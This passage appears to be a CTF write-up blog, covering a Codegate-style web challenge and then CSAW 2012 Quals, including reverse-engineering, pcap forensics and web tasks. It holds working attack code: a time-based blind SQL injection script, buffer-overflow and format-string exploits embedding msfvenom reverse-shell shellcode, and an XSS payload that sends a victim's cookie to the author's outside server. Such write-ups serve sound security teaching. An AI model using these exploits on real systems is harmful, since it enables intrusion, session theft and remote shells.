GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

This responds with

<!--if($_SERVER[HTTP_HOST]=="hackme")--></body>

Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

In the response is: Password is WH0_IS_SnUS_bI1G_F4N

Web 500

They give us this source.

<?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);
?>

<head>
<link rel="stylesheet" type="text/css" href="black.css">
</head>

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
  <p>
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  </p>
  </div>
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">
  </p>
</form>

The sqli is relatively straightforward. You can have a True/false query like this.

password='or(1=2)and'1
password='or(1=1)and'1

But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true

password='or(CHAR_LENGTH(password)=30)and'1

so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*

But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).
The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*

#!/usr/bin/python

import urllib
import httplib
import time
import argparse
import sys

class web500:
    def __init__(self, host="58.229.183.24", port=80, session="", check_iter=-1, debug=False):
        self.conn = httplib.HTTPConnection(host, port)
        self.conn.connect()
        if session == "":
            self.session = self.get_session()
            print "Creating SESSION=" + self.session
        else:
            self.session = session
        
        self.check_iter = check_iter
        self.debug = debug
        self.upperlimit = 120
        self.passwd = ""
        self.pwn()
        
    def pwn(self):
        for letter in range(0,30):
            dstr = ""
            if self.check_iter != -1:
                letter = int(self.check_iter)
            for bit in range(8,3,-1):
                self.upperlimit -=1
                if self.upperlimit < 0:
                    print "ERROR: Went over limit :("
               
                this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1)
                this_bit  = "SUBSTR({0},{1},1)".format(this_char, bit)
                
                if (bit != 4 and not self.debug):
                    #if on binary(password[i])[3:4] == 10: sleep 24
                    #if on binary(password[i])[3:4] == 01: sleep 16
                    #if all more significant bits are 1: sleep 8
                    #if all more significant bits are 0: sleep 4
                    #else: return true if 1, else 0
                    truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01',  if(left(SUBSTR({0},4,9),{1})!='{4}',  if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3))
                else:
                    truth = "if({0}=0x31,1,0)".format(this_bit)
                    
                sql = "'or(" + truth + ")and'1"
                param= "password=" + urllib.quote(sql)
                
                self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
                self.conn.putheader("Content-length", str(len(param)))
                self.conn.putheader("Cookie", "PHPSESSID=" + self.session)
                self.conn.putheader("Content-Type", "application/x-www-form-urlencoded")
                self.conn.endheaders()
                t = time.clock()
                
                self.conn.send(param)                
                resp = self.conn.getresponse()
                data = resp.read()
                t = time.clock() - t
                if t>=24:
                    dstr = "10" + dstr
                    break
                elif t>=16:
                    dstr = "01" + dstr
                    break
                elif t >= 8:
                    dstr = dstr.rjust(5,"1")
                    break
                elif t >= 4:
                    dstr = dstr.zfill(5)
                    break
                elif "True" in data:
                    dstr = "1" + dstr
                else:
                    dstr = "0" + dstr
            print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit
            self.passwd += self.bin_tochar(dstr)
            if self.check_iter != -1:
                break
        print "PASSWORD: ", self.passwd
        
    def bin_tochar(self, c):
        return chr(int("011" + c, 2))
     
    def get_session(self):
        self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
        self.conn.endheaders()
        resp = self.conn.getresponse()
        data = resp.read()
        return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]
        
         
parser = argparse.ArgumentParser()
parser.add_argument("--session", default="")
parser.add_argument("--checkIter", default=-1)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
                           
a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)

web500

Logging in with this password gives us the key:

Congrats! the key is DontHeartMeBaby*$#@!

*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier http://tunz.tistory.com/109

CSAW 2012 Quals Tutorial/Writeup

Better late than never! There are already tons of excellent writeups online (many more complete in terms of problems) but this is yet another one. If you’re new here, one thing I try to do is include all the files you need to follow along. So if you didn’t actually play in csaw, this is where my writeup might be worthwhile. These are the odd math problems with answers in the back of the text box :)

I played on ACME Pharm. We managed to solve all the challenges except network 400. We sort of gave up on it and quite a few teams passed us. After the CTF finished, I went back and solved several that looked interesting and other people on the team solved during the CTF. Point being, if I mess something up in this write-up it shouldn’t reflect poorly on the rest of the team :P

Exploits 200

Problem: exploit200

Cracking the binary open in IDA, we see this pretty early.

.text:08048D4B loc_8048D4B:                            ; CODE XREF: main+2DBj
.text:08048D4B                 mov     dword ptr [esp], 0 ; uid
.text:08048D52                 call    _setuid
.text:08048D57                 cmp     eax, 0FFFFFFFFh
.text:08048D5A                 jz      short loc_8048D74
.text:08048D5C                 mov     dword ptr [esp], offset aGotroot ; "gotroot"
.text:08048D63                 call    _perror
.text:08048D68                 mov     dword ptr [esp], 1 ; status
.text:08048D6F                 call    _exit
.text:08048D74 ; ---------------------------------------------------------------------------
.text:08048D74
.text:08048D74 loc_8048D74:                            ; CODE XREF: main+304j
.text:08048D74                 mov     eax, [esp+0F8h]
.text:08048D7B                 mov     [esp], eax      ; fd
.text:08048D7E                 call    handle
.text:08048D83                 mov     eax, 0
.text:08048D88                 jmp     short loc_8048DBB

The key is grabbed in the “handle” function, where the interesting stuff is. So the point of this snippet, we can’t run as root. Gettingg into the handle function, it compares to this:

.text:08048980 mov     [esp+4], eax    ; buf
.text:08048984 mov     eax, [ebp+fd]
.text:08048987 mov     [esp], eax      ; fd
.text:0804898A call    _recv
.text:0804898F mov     [ebp+var_D], 0
.text:08048993 mov     dword ptr [esp+4], offset secret ; "AAAAAAAAAAAAAAAAAAAAAAAAAA\n"
.text:0804899B lea     eax, [ebp+buf]
.text:080489A1 mov     [esp], eax      ; s1
.text:080489A4 call    _

Then it reads from a file called “./key” and sends the contents (at least the first word) back. I just sent the As and it sent me back the key from the file.

echo "AAAAAAAAAAAAAAAAAAAAAAAAAA" | ncat 192.168.138.129  54321
Wecome to my first CS project.
Please type your name:  thisismysecretkeyAAAAAAAA

Exploits 300

Problem: exploit300

There is a bunch of signal stuff that breaks up the execution flow. To debug, I made sure to modify how gdb handled signals being thrown at it, using the “signal” command. Also, how I debug remote processes is I set follow-fork-mode child. That way I can see where it’s crashing. Other people sometimes do this by patching the fork with nops, which is also an option.

Right off, the program exits if there isn’t a user named “liotian”, so if running locally this user needs to be added. But after you have the user and if you’re ignoring signals, it’s a straightforward buffer overflow. I just sent metasploit’s ./pattern_create.rb at it and found the offset it crashed at using pattern_offset. Also, I had to subtract a bit off of esp in my shellcode since metasploit’s encoding needs the stack, and in this case the stack was corrupted by being too close to eip. To adjust the stack I add “\x81\xC4\x3E\xFE\xFF\xFF” to the top which is opcodes for “add esp, -450”. (by the way, another handy tool is metasploit’s ./nasm_shell, which I use quite a bit to turn assembly to opcodes)

#!/usr/bin/python

import socket
import argparse
import struct


# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\x81\xC4\x3E\xFE\xFF\xFF" + #adjust esp
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +
"\xe6\xe3\x7a\x79\x03\x39\xfc"

)

print len(shellcode)

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="128.238.66.218")
parser.add_argument("--port", default=4842 )
args = parser.parse_args()

jmpesp = struct.pack("<I", 0x08048fbb)

payload = "A" * 326 + jmpesp + shellcode


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.sendall(payload)

Exploit 400

Problem: Exploit400

This is a clear format string vulnerability. In gdb just set follow-fork-mode child and see the process crash with %n. This happens at:

08048BFE call    _snprintf

We can get an arbitrary overwrite at the close got address that’s called pretty soon after

.got.plt:0804B064 off_804B064     dd offset close    

so the location where we want to overwrite to control eip is 0804B064

let’s see where our format is coming from:

.text:08048BE9 mov     [esp+8], eax    ; format
.text:08048BED mov     dword ptr [esp+4], 3FFh ; maxlen
.text:08048BF5 lea     eax, [ebp+s]
.text:08048BFB mov     [esp], eax      ; s
.text:08048BFE call    _snprintf

setting a breakpoint, this is 0x804b120, which is

(gdb) maintenance info sections 
Exec file:
    `/home/mopey/exploit400', file type elf32-i386.
    0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
...
    0x804b080->0x804b0e8 at 0x00002080: .data ALLOC LOAD DATA HAS_CONTENTS
    0x804b100->0x804b320 at 0x000020e8: .bss ALLOC
    0x0000->0x002a at 0x000020e8: .comment READONLY HAS_CONTENTS

so oour format string is in .bss, which is also marked as executable and won’t vary like the stack would. Here’s the final exploit

#!/usr/bin/python

import socket
import argparse
import struct


# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +
"\xe6\xe3\x7a\x79\x03\x39\xfc"
)

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.138.129")
parser.add_argument("--port", default=23456 )
args = parser.parse_args()

#.got send
owLocation = 0x0804B068
owValue = 0x804b145


def createFmt(owValue, owLocation):
	HOB = owValue >> 16
	LOB = owValue & 0xffff
	if HOB < LOB:
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(HOB -8) + "x"
		payload += "%5$hn"
		payload += "%." + str(LOB-HOB) + "x"
		payload += "%6$hn"
	else:
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(LOB -8) + "x"
		payload += "%6$hn"
		payload += "%." + str(HOB-LOB) + "x"
		payload += "%5$hn"
	return payload

payload = createFmt(owValue, owLocation)
payload += "\x90" * 30
payload += "\xcc"
payload += shellcode
payload += "\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.recv(1024)
print data
s.sendall(payload)
while data != "":
	data = s.recv(1024)
	print data,

There’s also some detection of /bin/sh and stuff, but since my shellcode was generated all of these were hidden automatically for me.

Forensics 100, 200

Files: Forensics100, Forensics200

To solve these, I first used strings to find a bunch of stuff that looked like this.

tEXtcomment
key{rodney danielle}
tEXtcomment
key{matthieu blayne}

I know nothing about PNGs, but searching online for these tEXT sections I stumbled across a tool called pngcheck.

For number 200 I tried

pngcheck -7 version1.png

comment:
    key{nguyen willie}
comment:
    key{takeuchi gregory}
version1.png  CRC error in chunk tEXt (computed 5005ed3c, expected 26594131)

and takeuchi gregory is the only one with a tEXT chunk checksum error, and also the key. In forensics 200, it’s almost the same except for the key is the only tEXT chunk without an error.

pngcheck -7 -f version2.png  |less

...
    key{donnie winston}
version2.png  CRC error in chunk tEXt (computed 1bc013c9, expected c913c01b)
comment:
    key{jeremy socorrito}
version2.png  CRC error in chunk tEXt (computed bcb8529b, expected 9b52b8bc)
comment:
    key{johnnie tigger}
(no error)

Reversing 100

Problem: Rev100

This is a Window’s executable. There’s this main function that prints the encrypted key and ends, and then there’s a decryption function that’s never reached. You can’t see it in graph mode, but in text mode this function is clear.

ext:004010EE                 add     esp, 8
.text:004010F1                 push    0               ; uType
.text:004010F3                 push    offset Caption  ; "Key!"
.text:004010F8                 lea     ecx, [ebp+Text]
.text:004010FB                 push    ecx             ; lpText
.text:004010FC                 push    0               ; hWnd
.text:004010FE                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:00401104                 push    0FFFFFFFFh      ; Code
.text:00401106                 call    ds:__imp__exit
.text:00401106 main            endp
.text:00401106
.text:0040110C ; ---------------------------------------------------------------------------
.text:0040110C                 lea     edx, [ebp-18h]
.text:0040110F                 push    edx
.text:00401110                 call    decrypt
.text:00401115                 add     esp, 4
.text:00401118                 push    offset aDecryptedKey ; "Decrypted Key:  "
.text:0040111D                 lea     eax, [ebp-58h]
.text:00401120                 push    eax
.text:00401121                 call    _strcpy
.text:00401126                 add     esp, 8
.text:00401129                 lea     ecx, [ebp-18h]
.text:0040112C                 push    ecx
.text:0040112D                 lea     edx, [ebp-58h]
.text:00401130                 push    edx
.text:00401131                 call    _strcat
.text:00401136                 add     esp, 8
.text:00401139                 push    0
.text:0040113B                 push    offset aKey     ; "Key!"
.text:00401140                 lea     eax, [ebp-58h]
.text:00401143                 push    eax
.text:00401144                 push    0
.text:00401146                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:0040114C                 push    0
.text:0040114E                 call    ds:__imp__exit

so I want to fill the exit at 00401104 with nops. I do this in windbg with

eb 00401104 90 90 90 90 90 90 90 90

then I run the program, and it prints the key

Reversing 200

Problem: Rev200

This is a managed .NET windows executable. To win, you can just set a breakpoint at the end and read the key. I used windbg with the sos extensions

0:000> .loadby sos clr
0:000> !DumpStackObjects
OS Thread Id: 0xf58 (0)
ESP/REG  Object   Name
0012F244 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F2A4 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F304 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F334 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F358 00b2d4c4 System.IO.__ConsoleStream
0012F37C 00b2d4f4 System.IO.StreamReader
0012F380 00b2d4f4 System.IO.StreamReader
0012F398 00b2d4f4 System.IO.StreamReader
0012F39C 00b2d864 System.IO.TextReader+SyncTextReader
0012F3BC 00b2d864 System.IO.TextReader+SyncTextReader
0012F3E4 00b2d430 System.Char
0012F3E8 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3EC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F3F0 00b2d430 System.Char
0012F3F4 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3F8 00b2b65c System.Byte[]
0012F3FC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F410 00b2b64c System.Object[]    (System.String[])
0012F4C4 00b2b64c System.Object[]    (System.String[])
0012F66C 00b2b64c System.Object[]    (System.String[])
0012F6A0 00b2b64c System.Object[]    (System.String[])
0012F7DC 01b23250 System.Object[]    (System.Object[])
0:000> !DumpObj 00b2d44c 
Name:        System.String
MethodTable: 79b9fb08
EEClass:     798d8bb0
Size:        100(0x64) bytes
File:        C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
String:      The key is 9c09f8416a2206221e50b98e346047b7
Fields:
      MT    Field   Offset                 Type VT     Attr    Value Name
79ba2ad4  4000103        4         System.Int32  1 instance       43 m_stringLength
79ba1f24  4000104        8          System.Char  1 instance       54 m_firstChar
79b9fb08  4000105        8        System.String  0   shared   static Empty
    >> Domain:Value  0015d938:00b21228 <<

Reversing 300

Problem: Rev300

Another managed .NET windows executable.

First, you need to recompile to get out the system exit that happens at the beginning. I used ilspy to disassemble and create a .csproj I could open with visual studio. Then I recompiled to edit this out. Alternatively, you could jump over it in a debugger, but I think recompiling is probably easier.

Second, I need to get out the md5hash it’s getting from program files. We need to create a file there that md5hashes to the same hash it’s comparing.

#!/usr/bin/python

import binascii

array = [
			255,
			151,
			169,
			253,
			237,
			224,
			158,
			175,
			110,
			28,
			142,
			201,
			246,
			166,
			29,
			213
		]

stuff = binascii.hexlify(''.join([chr(i) for i in array]))
print stuff

This generates the md5 hash: ff97a9fdede09eaf6e1c8ec9f6a61dd5, which Googling gives us the string “Intel”. double checking:

$ echo -n "Intel" | md5sum.exe
ff97a9fdede09eaf6e1c8ec9f6a61dd5 *-

Once we have a directory c:\\program files\Intel, the program will print the key: That was pretty easy, wasn’t it? \key{6a6c4d43668404041e67f0a6dc0fe243}

Reversing 400

Problem: rev400

This is almost identical to reversing 100, except it’s a linux elf rather than a Window’s exe. I have the same strategy here. My biggest problem was figuring out how to configure gdb to write into .text sections (you do it with write, and then you have to reload the executable)

(gdb) set {char}0x0000000004006B9 = '\x90'
Cannot access memory at address 0x4006b9
(gdb) show write 
Writing into executable and core files is on.
(gdb) ex
exec-file  explore    
(gdb) exec-file ./csaw2012reversing 
(gdb) set {char}0x0000000004006B9 = '\x90'
(gdb) set {char}0x0000000004006BA = '\x90'
(gdb) set {char}0x0000000004006BB = '\x90'
(gdb) set {char}0x0000000004006BC = '\x90'
(gdb) set {char}0x0000000004006BD = '\x90'
(gdb) set {char}0x0000000004006BE = '\x90'
(gdb) set {char}0x0000000004006BF = '\x90'
(gdb) set {char}0x0000000004006C0 = '\x90'
(gdb) set {char}0x0000000004006C1 = '\x90'
(gdb) set {char}0x0000000004006C2 = '\x90'
(gdb) continue
Encrypted Key:                 
Decrypted Key:  csawissohard__:(
[Inferior 1 (process 39007) exited normally]

Net 100

Problem: net100

This was a pcap. Simply open it in wireshark, right click to follow the stream for the key.

Net 200

Problem: net200

Some dude I know is planning a party at some bar in New York! I really want to go but he’s really strict about who gets let in to the party. I managed to find this packet capture of when the dude registered the party but I don’t know what else to do. Do you think there’s any way you can find out the secret password to get into the party for me? By the way, my favorite hockey player ever is mario lemieux.

Solution:

glancing through this in wireshark it looks like there are POST requests to party requests. Setting this filter:

ip.addr ==  66.96.131.56 and http.request.method == "POST"

looking through these, following the second one gives:

si_contact_CID=1&si_contact_name=Mike+Jones&si_contact_email=mike%40example.com&si_contact_ex_field1=917-459-2485&si_contact_subject=Party+time%21&si_contact_message=Hey%21+I+want+to+plan+a+party+at+your+venue.+I%27m+expecting+a+lot+of+people+though+and+I+don%27t+want+anyone+who+isn%27t+supposed+to+be+there+showing+up+for+the+fun.+If+you+can+do+me+a+favor+and+make+sure+to+ask+for+the+phrase+%22brooklyn+beat+box%22+before+letting+attendees+in%2C+that+would+be+awesome%21&si_code_ctf_4=H2cEwa6GC0WdaT8P&si_contact_captcha_code=B38F&si_contact_action=send&si_contact_form_id=4

so “brooklym beat box”

Net 300

Problem: net300

Opened up the pcap in wireshark and looked at it for a while. One thing I noticed was in frame 67 it says it’s a Teensy Keyboard/Mouse. Googling for teensy keyboard gives us this site, which I thought was useful: http://www.pjrc.com/teensy/usb_keyboard.html. It has a table on the front page which looks promising. Looking at the .h file gives a bunch of codes for the table…

I still wasn’t completely sure how to extract things. Presumably I want to get the keys being pressed.

I decided to try capturing my own keyboard traffic, and ended up here: http://wiki.wireshark.org/CaptureSetup/USB. This also turned out to be useful.

We can attach to the keyboard USB bus simply by observing the interfaces, and which interface gets traffic when we type. Then, attaching to the interface we can see traffic. Four “frames” happen for every key pressed. Inferring from the table given in the teensy link and knowing the key I actually pressed (e.g. “B” is 5), the keycode is clearly in the “Leftover Capture Data” at the end of the first interrupt. For example, this is a “b” being pressed.

I don’t know much about USB still, but all the other packets when I press a key seem to have a 0 at the -6th byte, so we can potentially filter on this. That’s what I did in my first attempt

#!/usr/bin/python
from scapy.all import *

KEY_CODES = {
4:"A",
5:"B",
6:"C",
7:"D",
8:"E",
9:"F",
10:"G",
11:"H",
12:"I",
13:"J",
14:"K",
15:"L",
16:"M",
17:"N",
18:"O",
19:"P",
20:"Q",
21:"R",
22:"S",
23:"T",
24:"U",
25:"V",
26:"W",
27:"X",
28:"Y",
29:"Z",
30:"1",
31:"2",
32:"3",
33:"4",
34:"5",
35:"6",
36:"7",
37:"8",
38:"9",
39:"0",
40:"\n",
44:" ",
45:"-",
46:"=",
47:"{",
48:"}",
}

pkts = rdpcap("net300.pcap")
msg= ""
for packet in pkts:
	global msg
	hid_report = packet.load[-8:]
	key_code = ord(hid_report[2])
	ch = KEY_CODES.get(key_code, False)
	if ch:
		msg += ch

print msg

This prints:

BBBARXTERM -GEOMETRY 12X1=0=0
ECHO K
RXTERM -GEOMETRY 12X1=75=0
ECHO E
RXTERM -GEOMETRY 12X1=150=0
ECHO Y
RXTERM -GEOMETRY 12X1=225=0
ECHO {
RXTERM -GEOMETRY 12X1=300=0
ECHO C
RXTERM -GEOMETRY 12X1=375=0
ECHO 4
RXTERM -GEOMETRY 12X1=450=0
ECHO 8
RXTERM -GEOMETRY 12X1=525=0
ECHO B
RXTERM -GEOMETRY 12X1=600=0
ECHO A
RXTERM -GEOMETRY 12X1=675=0
ECHO 9
RXTERM -GEOMETRY 12X1=0=40
ECHO 9
RXTERM -GEOMETRY 12X1=75=40
ECHO 3
RXTERM -GEOMETRY 12X1=150=40
ECHO D
RXTERM -GEOMETRY 12X1=225=40
ECHO 3
RXTERM -GEOMETRY 12X1=300=40
ECHO 5
RXTERM -GEOMETRY 12X1=450=40
ECHO C
RXTERM -GEOMETRY 12X1=375=40
ECHO 3
RXTERM -GEOMETRY 12X1=525=40
ECHO A
RXTERM -GEOMETRY 12X1=600=40
ECHO }

I was pretty stuck here, since what appears to be the key wasn’t working. But it turns out the geometry was just off. If you sort the geometry on the C and 3 character at the end, you win.

Web 300

Problem: This is a website belonging to a horse-fighting gang. Even with an account, it’s not clear what they’re up to. Your task is to get administrator access and see if you can figure anything out. Your account is csaw_challenger/letmein123.

Solution:

This web app had a SQL injection in /horse.php, but it also had a waf that was blocking UNION and SELECT. In early testing, I did a few queries like these:

#there are four columns
GET /horse.php?id=1+OR+1%3d1+ORDER+BY+5-- HTTP/1.1
#v5
GET /horse.php?id=1-(IF(MID(version(),1,1)+LIKE+5,+BENCHMARK(10000000,SHA1('true')),false)) HTTP/1.1

Someone else on my team solved this before I did, and I got pretty stuck since they said they just used a simple union. I tried various logic flows to get back to that point. I didn’t spend too much time on it though, since we had already solved it and we had unsolved network 400 (I hate you network 400). It turns out the web app was broken at the beginning of csaw (waf wasn’t working) and later they fixed the challenge. The WAF bypass was through parameter polution, and googling the first writeup I see is here: http://isisblogs.poly.edu/2012/09/30/csaw-ctf-horseforce-writeup/.

Web 400

Problem: CryptoMat is a site where you can send encrypted messages to other users. Dog is a user on the site and has the key. Figure out how to get into his account and obtain it.

Solution:

The data is just xored with this array, the key, and the previous block:

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

Writing code, this should work with arbitrary keys, which becomes important later on. Here is code to encrypt or decrypt arbitrary data with arbitrary keys:

#!/usr/bin/python
import sys
import urllib

def padArg(argv):
	while len(argv) % 8 != 0:
		argv += "\x00"
	return argv

def padKey(key, dlen):
	padKey = key
	i = 0
	while len(padKey) < dlen:
		padKey += key[i%len(key)]
		i += 1
	return padKey

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

padarg = padArg(sys.argv[1])
key = sys.argv[2]
padKey = padKey(key, len(padarg))

print padKey

fstr = ""

for i in range(0, len(padarg)):
	a = ord(padarg[i]) ^ xordata[i%8] ^ ord(padKey[i])
	xordata[i%8] = (ord(padarg[i]))
	fstr += chr(a)

#dummy uriencode, because normal urilib encode seemed to break something
a = [(ord(i)) for i in fstr]
for i in a:
	i = hex(i)
	i = i[2:]
	if len(i) == 1:
		i = "0" + i
	i = "%"+i
	sys.stdout.write(i)
print ""

The goal is to get DoG to execute script, which will be decrypted – so we need to encrypt Javascript that will send us the key. We want something like:

document.location="https://webstersprodigy.net/blah?" + bdocument.cookie

Unfortunately, the javascript doesn’t seem to like quotes (or it could be an issue with my code). Regardless, we can encode it so it doesn’t need quotes using hackvertor. So then we transform this into

<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,98,97,100,46,119,101,98,115,116,101,114,115,112,114,111,100,105,103,121,46,110,101,116,47,98,108,97,104,63,80,82,79,80,69,82,84,89,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script>

We then monitor on the web server to steal dog’s login. I eventually get: PHPSESSID=4ehb7kihmi774r6bf9u48h37e0, but it seems to change quickly and expires in a few minutes. Luckily I was running through burp and spidered all the pages, so the data was all in my history.

I pull back this in the inbox

         <td>Cat</td>
                      <td>PASS PLZ</td>
                      <td><a href="download.php?id=2"><img src="res/dl.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>WAT</td>
                      <td><a href="download.php?id=4"><img src="res/dl.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>Your key is ILIKECARROTS</td>
                      <td><a href="download.php?id=5"><img src="res/dl.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>THX</td>
                      <td><a href="download.php?id=6"><img src="res/dl.png" /></a></td>
                  </tr>

and this in the outbox

<td>Cat</td>
                      <td>Hello, this is Dog.</td>
                      <td><a href="download.php?id=1"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=1"><img src="res/cross.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>Ok.jpg, encoded my key with your</td>
                      <td><a href="download.php?id=3"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=3"><img src="res/cross.png" /></a></td>
                  </tr>

The interesting looking messages are:

